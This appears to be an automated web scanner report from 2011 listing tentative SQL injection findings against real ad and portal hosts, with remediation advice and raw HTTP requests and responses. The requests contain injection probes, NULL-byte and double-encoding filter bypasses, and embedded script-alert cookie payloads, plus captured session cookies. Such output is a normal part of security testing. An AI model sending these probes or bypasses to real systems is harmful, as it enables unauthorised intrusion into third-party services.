Please be advised that this file is 12Mb and may take a moment to load.. but its filled with Proof of Concept Vulnerability Execution Reports...

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://googleads.g.doubleclick.net/pagead/ads [fu parameter] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The fu parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the fu parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965252&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943652258&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943652281&frm=0&adk=871793777&ga_vid=67021654.1296943652&ga_sid=1296943652&ga_hid=914616203&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&eid=36815002&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0%00'&ifi=1&dtd=80&xpc=SbKz6UFPiZ&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6896f2e55e7=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response 1

Request 2

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965252&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943652258&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943652281&frm=0&adk=871793777&ga_vid=67021654.1296943652&ga_sid=1296943652&ga_hid=914616203&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&eid=36815002&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0%00''&ifi=1&dtd=80&xpc=SbKz6UFPiZ&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6896f2e55e7=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response 2

1.2. http://googleads.g.doubleclick.net/pagead/ads [url parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The url parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the url parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /pagead/ads?client=ca-pub-8946084125644802&output=html&h=90&slotname=1903810917&w=120&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1'%20and%201%3d1--%20&dt=1296945314953&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=6016247947&correlator=1296945312778&frm=0&adk=343220409&ga_vid=34780583.1296945313&ga_sid=1296945313&ga_hid=717362596&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F23&fu=0&ifi=2&dtd=17&xpc=Kc5XABeAHH&p=http%3A//www.linuxsecurity.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response 1

Request 2

GET /pagead/ads?client=ca-pub-8946084125644802&output=html&h=90&slotname=1903810917&w=120&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1'%20and%201%3d2--%20&dt=1296945314953&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=6016247947&correlator=1296945312778&frm=0&adk=343220409&ga_vid=34780583.1296945313&ga_sid=1296945313&ga_hid=717362596&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F23&fu=0&ifi=2&dtd=17&xpc=Kc5XABeAHH&p=http%3A//www.linuxsecurity.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response 2

Summary

Severity:	High
Confidence:	Tentative
Host:	http://latino.aol.com
Path:	*/$\|.ivillage.com./1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video**

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 10145548'%20or%201%3d1--%20 and 10145548'%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video?110145548'%20or%201%3d1--%20=1 HTTP/1.1
Host: latino.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:30:07 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-cache, no-store, private, max-age=0
Expires: 0
R-Host: portal-tc-lmb11.websys.aol.com
x-ua-compatible: IE=EmulateIE7
Content-Type: text/html;;charset=utf-8
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Length: 15575

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="IE7"
...[SNIP]...
<label for="srchtog1" class="srchtogt">Espa..ol</label>
<input type="radio" name="lr" id="srchtog2" value="lang_en" onclick="omcl(this,'srchtoggle2')" checked /><label for="srchtog2" class="srchtogt">Web</label>
<input id="srchrp" type="hidden" name="rp" value=""/>
</div>
</form>
</div>
</div>
</div>
<script type="text/javascript">
var se=1;
p_o('topQuery2').focus();

</script>
</div>
<div id="nav"><div id="navW" class="M">
<div class="dir">
<div id="dirhd">
<ul id="dhL2">
<li class="dhL1"><a accesskey="M" href="http://webmail.aol.com" name="om_dirbtn1">Mail</a></li>
</ul><a id="amre" title="Discover AOL provides information about AOL's many products and services, including free software, Safety and Security tools, and free services. " name="om_dir_a-z" onclick="icid(this,'icid=navbar_More');" href="http://about.aol.com/sitemap/">Can't Find It? AOL A to Z</a></div>
<div id="dircnt">
<ul id="om_dir_col1_" class="serv c noic"></ul>
<ul id="om_dir_col1_" class="serv c0 noic">
<li><a id="d1" title="IM friends right from your browser -no download required" class="nIcn" onclick="ae7.launch(); return false; icid(this,'icid=navbar_AIM');" href="http://www.aim.com/products/express/">AIM</a></li>

<li><a id="d2" title="Research, find and buy new and used cars" class="nIcn" onclick="icid(this,'icid=navbar_Autos');" href="http://autos.aol.com/">Autos</a></li>

<li><a id="d3" title="African-American news, culture and community" class="nIcn" onclick="icid(this,'icid=navbar_BV');" href="http://blackvoices.aol.com/">Black Voices</a></li>

<li><a id="d17" title="Celebrity news and photos as well as top music, movie and TV news from Popeater" class="nIcn" onclick="icid(this,'icid=navbar_pope
...[SNIP]...

Request 2

GET /$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video?110145548'%20or%201%3d2--%20=1 HTTP/1.1
Host: latino.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:30:07 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-cache, no-store, private, max-age=0
Expires: 0
R-Host: portal-tc-lmb28.websys.aol.com
x-ua-compatible: IE=EmulateIE7
Content-Type: text/html;;charset=utf-8
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Length: 15603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="IE7"
...[SNIP]...
<label for="srchtog1" class="srchtogt">Espa.../label>
<input type="radio" name="lr" id="srchtog2" value="lang_en" onclick="omcl(this,'srchtoggle2')" checked /><label for="srchtog2" class="srchtogt">Web</label>
<input id="srchrp" type="hidden" name="rp" value=""/>
</div>
</form>
</div>
</div>
</div>
<script type="text/javascript">
var se=1;
p_o('topQuery2').focus();

</script>
</div>
<div id="nav"><div id="navW" class="M">
<div class="dir">
<div id="dirhd">
<ul id="dhL2">
<li class="dhL1"><a accesskey="M" href="http://webmail.aol.com" name="om_dirbtn1">Mail</a></li>
</ul><a id="amre" title="Discover AOL provides information about AOL's many products and services, including free software, Safety and Security tools, and free services. " name="om_dir_a-z" onclick="icid(this,'icid=navbar_More');" href="http://about.aol.com/sitemap/">Can't Find It? AOL A to Z</a></div>
<div id="dircnt">
<ul id="om_dir_col1_" class="serv c noic"></ul>
<ul id="om_dir_col1_" class="serv c0 noic">
<li><a id="d1" title="IM friends right from your browser -..no download required" class="nIcn" onclick="ae7.launch(); return false; icid(this,'icid=navbar_AIM');" href="http://www.aim.com/products/express/">AIM</a></li>

<li><a id="d2" title="Research, find and buy new and used cars" class="nIcn" onclick="icid(this,'icid=navbar_Autos');" href="http://autos.aol.com/">Autos</a></li>

<li><a id="d3" title="African-American news, culture and community" class="nIcn" onclick="icid(this,'icid=navbar_BV');" href="http://blackvoices.aol.com/">Black Voices</a></li>

<li><a id="d17" title="Celebrity news and photos as well as top music, movie and TV news from Popeater" class="nIcn" onclick="icid(this,'icid=navbar_pope
...[SNIP]...

1.4. http://mm.chitika.net/minimall [cb parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The cb parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cb parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428%00'&loc=205,1872&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:28 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJTIBohB5z2pknKpk7dMBnVZJ1DBBLfD22Pt+xU2PMB6YwzEpG+32MdrC/bifzPdADvQXT5iL0Ejk4SoBE/RbcgLQI0z29hms4++5c518R/zUMKkBDANZDDcfeSSJsmKZKYF4g+e5/vR3s5vQQ7KmJYRZ2Ke5I7+Px/Q1DWIeAxjVePvZA3qEWPWNA4pW0y2sicSGc+OlVoHYO+iW+etQJWO903qBRjyUMB0CsnUiLCSK7ynCeU5y8vPgJO/l5QmFEhQcxYvOtJH0zTOq/DdkOdd/SL0ajHQz1t4DCzkykwGq4Aw7x+tPgkAhoQGPt9IleOihg6gLkHmyjN8bS0MOCuU93O5YHhVCLopbJlVmacuwMv8bCtG3aUjz7yVRP2bGb25zrFQSIASGHiNo65FqRryWti1di9zr7c4KSwyrOw==.dJDZXe3hTuyZrPKKuugNLQ.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:02:28 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 19714

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=pc-test.com,gofreemanuals.com,ebay.c
...[SNIP]...
KCpxo9ichxH8ldyrWDOlTDIX0nEp9dmoIMEEUHcDE0aWSuqd0ezjPzLg2vwq7QhRJ6IBfF5G6sqRQsBqlrfmecBnceMPA%2FNVxpMVm55EolFY76tnNe82&template=v1-450xauto\">Your Free recommended download to fix Windows Vista and XP errors!
...[SNIP]...

Request 2

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428%00''&loc=205,1872&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:28 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJTIFoxB5zyrGvNooXWckqgQj0XDDSYJM4fZ/UN5/pNoUWjY2UStRAsZ8z+UER5ssfI1MfMTt/HEA+fUJ+mJOUAA27n1jL4aNT6t45eInqrtq/te5yFu/4TgWJgPF3lanaA/WQL0hGR4YNn40OphE1cqtxFAiYkM1oYqHQjxQc7aTwAKpHz+B9MDKPLyrxntwh3/i2mJX5Nc/Q90Zv2UrsgXZTlZb8We5HR60n1BuMzOoS0f2BaCmBktIv0KuD7JiPQ8vvPW3a/RSzF+w+ieyhBpSZyayzNgFIk3CxJ1Er4t1IIZN5fMORUpiILRivZqer79VNpU3Z7/GIz5YXjdAKpV/kZh2ArN9FGGu9PQbNss3p1F+wvGCxJwowXASlEVIlb3eIZsCuDbU6YuQ8/JIpoTrl77tvTTezvSiw3n4w6Ya.XCrCvBdO0LVqEPsFqbfYvA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:02:28 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 20057

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=open-with.pc-test.com,gofreemanuals.
...[SNIP]...

1.5. http://mm.chitika.net/minimall [cl_site_link parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The cl_site_link parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cl_site_link parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the cl_site_link request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&ref=http%3A//burp/show/2&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3%2527&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=159&loc=205,1844&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/SkJTIFoxB5zyrGvNoopWH98lzIGX09Lqf5eXifPARQKIeBMDE2hXiO2v2mk4qq+VP5P+m5J4eRJC5zWa+7Jf/jc6jkVmF/MbVWYaETxPD821XiL9JnE93XkPahPfrLgcfAbrpHrHNZJnEeObU3OtCTVkfYYH7KACiAKZU6LmYWAtjWSyuwX+GHPstuHx9zwtQHlMeOjOOZqdwl722uq28wErLf/s1odnEP3DQeHuP1taSO/8VINxZmUH3OCHKjzoEA3Ep2hvSi4fTUQ9xQg5HBigwFw6FcG4XjG/ZwAf++TM2bd6D6MDuMeCmjszjwKZD/DVxhbPa1zjGTdrpztnAx7H5aYU7Rqim51ZoqsIAq7yljuMQoFzxW0QdFZuKMR6dZIfdTULQZElAm9UvyESXU0bZ2j55Oz02Ty6P8x00eoqYu.JlGLkqSjkssYk0faKwa/ow.4

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:04 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/Sk5qAFuhB59X9RSPW7cuX5BjLSsC03SVEk82l5MNAgAnNo673eS84tAp+za0YwsMeVekfsK3TP/Q67SgdYA8R1yGFrOkUNg1YOW6xDpzwv0dIL7C1mtDBX5no1JyUMKe8U3R9rTsUHae6xXoN/s0UNSnTBaZ8fZflGHPQmUQxQUYIEHm6oTR8fvN3CXOlCU2UpUdtl27oFWaqtfb6hy/xbC9QJl10w3q4RBKj7+JgNtLTCNbQ8+PfOMxQTyn2+gtbV0Ex4pGqbu1+Su95/0Ux9LNQV3gAFKht8/dyPjYc1vXOdQM6f5RSsm2cAFg3w0MGJlUU0EnLblOfvdGvlyXWW3hOx3nmBQihS4AY7cPIByNTm+gmRP1z8LiMIj/Z61MsOvK5N4ha7ILE2hEdAzL9PG/IC4gLURn3j6xkza3w5TxLbEs7PEwgix1WJMMCz+ss753/VNwoZ7mUR7Hd7+MXThNjF7bUSSjs4R8MVkEdSyLgXeXdIl8Uwk61wqQ==.4gWHTv/7aOocs7YpvOTMrA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:03:04 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 19038

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=home-warranty.firstam.com,homewarran
...[SNIP]...
gYZKPBN4JCKZoLQG8l5d70OEnJGhuQplXG%2FzRyTwAzRaGBLVM9lQz5Zr%2B4E92M6fWD2ZHc5UnKJZ8o%2BDEbw1CFsq%2B6QBonqYdQ0FLncw%3D%3D&template=v1-450xauto\">Your Free recommended download to fix Windows Vista and XP errors!
...[SNIP]...

Request 2

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&ref=http%3A//burp/show/2&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3%2527%2527&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=159&loc=205,1844&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/SkJTIFoxB5zyrGvNoopWH98lzIGX09Lqf5eXifPARQKIeBMDE2hXiO2v2mk4qq+VP5P+m5J4eRJC5zWa+7Jf/jc6jkVmF/MbVWYaETxPD821XiL9JnE93XkPahPfrLgcfAbrpHrHNZJnEeObU3OtCTVkfYYH7KACiAKZU6LmYWAtjWSyuwX+GHPstuHx9zwtQHlMeOjOOZqdwl722uq28wErLf/s1odnEP3DQeHuP1taSO/8VINxZmUH3OCHKjzoEA3Ep2hvSi4fTUQ9xQg5HBigwFw6FcG4XjG/ZwAf++TM2bd6D6MDuMeCmjszjwKZD/DVxhbPa1zjGTdrpztnAx7H5aYU7Rqim51ZoqsIAq7yljuMQoFzxW0QdFZuKMR6dZIfdTULQZElAm9UvyESXU0bZ2j55Oz02Ty6P8x00eoqYu.JlGLkqSjkssYk0faKwa/ow.4

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:04 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
